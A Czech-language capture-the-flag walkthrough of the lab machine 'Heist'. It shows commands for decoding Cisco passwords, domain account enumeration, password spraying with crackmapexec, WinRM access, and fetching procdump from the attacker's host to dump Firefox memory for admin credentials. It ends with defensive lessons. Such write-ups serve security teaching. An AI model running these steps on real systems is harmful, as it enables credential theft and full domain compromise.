Heist
Úvod a kontext
Heist je stroj, kde web nevede k přímému RCE, ale k přístupovým údajům. Podpůrný portál zveřejňuje konfiguraci Cisco zařízení, z níž lze vytáhnout několik hesel. Teprve jejich kombinace s doménovou enumerací a password sprayingem otevře cestu k WinRM.
Root část je naopak čistě lokální a dobře ukazuje běžnou administrátorskou chybu. Na serveru běží interaktivní Firefox procesy a jejich dump obsahuje uložené přihlašovací údaje administrátora. Tady je tedy nejdůležitější ne otázka „jak exploituji službu“, ale „kde v systému zůstaly cizí tajemství“.
Počáteční průzkum
Support portal a základní služby
První nmap ukáže IIS s login stránkou a WinRM. To znamená, že web pravděpodobně obsluhuje interní helpdesk a že jakmile se objeví platné doménové přihlašovací údaje, bude existovat i stabilní management shell.
nmap -p 1-65535 -T4 -A -sC -v $IP
80/tcp open http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Cisco konfigurace jako zdroj hesel
Z support portálu se podaří stáhnout Cisco konfiguraci. To je zásadní artefakt, protože obsahuje jak hash enable secret, tak reverzibilně zakódovaná hesla typu 7. Po dekódování se objeví trojice použitelných hodnot stealth1agent, $uperP@ssword a Q4)sJu\\Y8qz*A3?d.
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 => stealth1agent
username rout3r password 7 0242114B0E143F015F5D1E161713 => $uperP@ssword
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 => Q4)sJu\Y8qz*A3?d
Analýza zjištění
Od configu k doménovým účtům
Samotná hesla ještě nestačí, protože chybí seznam účtů. Proto má smysl vzít první platnou kombinaci a přes lookupsid.py vytáhnout doménové identity. Tím se objeví Hazard, support, Chase a další účty, proti nimž lze hesla systematicky vyzkoušet.
python lookupsid.py hazard:"stealth1agent"@$IP
=> SUPPORTDESK\Hazard
=> SUPPORTDESK\support
=> SUPPORTDESK\Chase
=> SUPPORTDESK\Jason
Password spraying na WinRM kandidáty
Jakmile existuje seznam účtů i několik hesel z Cisco konfigurace, dává smysl přepnout se na řízený password spray přes crackmapexec. Tady vyjde účet Chase s heslem Q4)sJu\\Y8qz*A3?d, což je ideální kombinace pro WinRM foothold.
crackmapexec 10.10.10.149 -d SUPPORTDESK -u users.txt -p pass.txt
=> Chase:Q4)sJu\Y8qz*A3?d
Získání přístupu
WinRM jako Chase
Jakmile se ukáže platný účet pro WinRM, je nejlepší se webu úplně pustit. WinRM dává stabilní PowerShell a dovolí rychle ověřit, co na stroji běží interaktivně a které procesy by mohly obsahovat další tajemství.
./evil-winrm/evil-winrm.rb -i $IP -u Chase -p 'Q4)sJu\Y8qz*A3?d'
gc user.txt
a127daef77ab6d9d92008653295f59c4
Eskalace oprávnění
Firefox procesy a procdump
Na serveru je neobvyklé vidět více běžících procesů Firefoxu. To naznačuje, že se na něm někdo interaktivně přihlašoval do webových aplikací. Proto dává smysl místo slepého procházení souborů použít procdump, stáhnout paměť procesů a hledat v ní řetězce související s loginem.
Get-Process
Get-Process Fire*
python -m SimpleHTTPServer 8000
wget "http://10.10.15.213:8000/procdump64.exe" -OutFile procdump64.exe
Start-Process procdump64.exe 6284
Start-Process procdump64.exe 6472
Start-Process procdump64.exe 6596
Start-Process procdump64.exe 6836
Start-Process procdump64.exe 7120
cat fire* | Select-String "login"
=> Administrator / 4dD!5}x/re8]FBuZ
Jakmile se v dumpu objeví platné administrátorské heslo, závěr je přímočarý: znovu otevřít WinRM, tentokrát jako Administrator.
./evil-winrm/evil-winrm.rb -i $IP -u Administrator -p '4dD!5}x/re8]FBuZ'
gc root.txt
50dfa3c6bfd20e2e0d071b073d766897
Shrnutí klíčových poznatků
- Heist nezačíná exploitem, ale únikem konfigurace. Cisco config zde prozradil hesla, která se dala přenést do úplně jiné vrstvy prostředí.
- Klíčovým mezikrokem byla doménová enumerace a password spray, nikoli samotný support portal.
- Root část ukazuje slabinu provozní hygieny: administrátorská tajemství zůstala v paměti běžícího browseru na serveru.
Co si odnést do praxe
- Konfigurační exporty síťových zařízení je potřeba chránit jako plnohodnotná tajemství. Heist ukazuje, že i starší Cisco formáty stále dávají použitelné heslo pro další služby.
- Password reuse mezi síťovou infrastrukturou, helpdeskem a Windows účty je mimořádně nebezpečný. Jakmile jednou unikne, z jednoho systému se stává pivot do celé domény.
- Interaktivní browser na serveru je bezpečnostní riziko sám o sobě. Pokud na serveru běží Firefox s přihlášeným adminem, dump procesu se prakticky stává trezorem s hesly.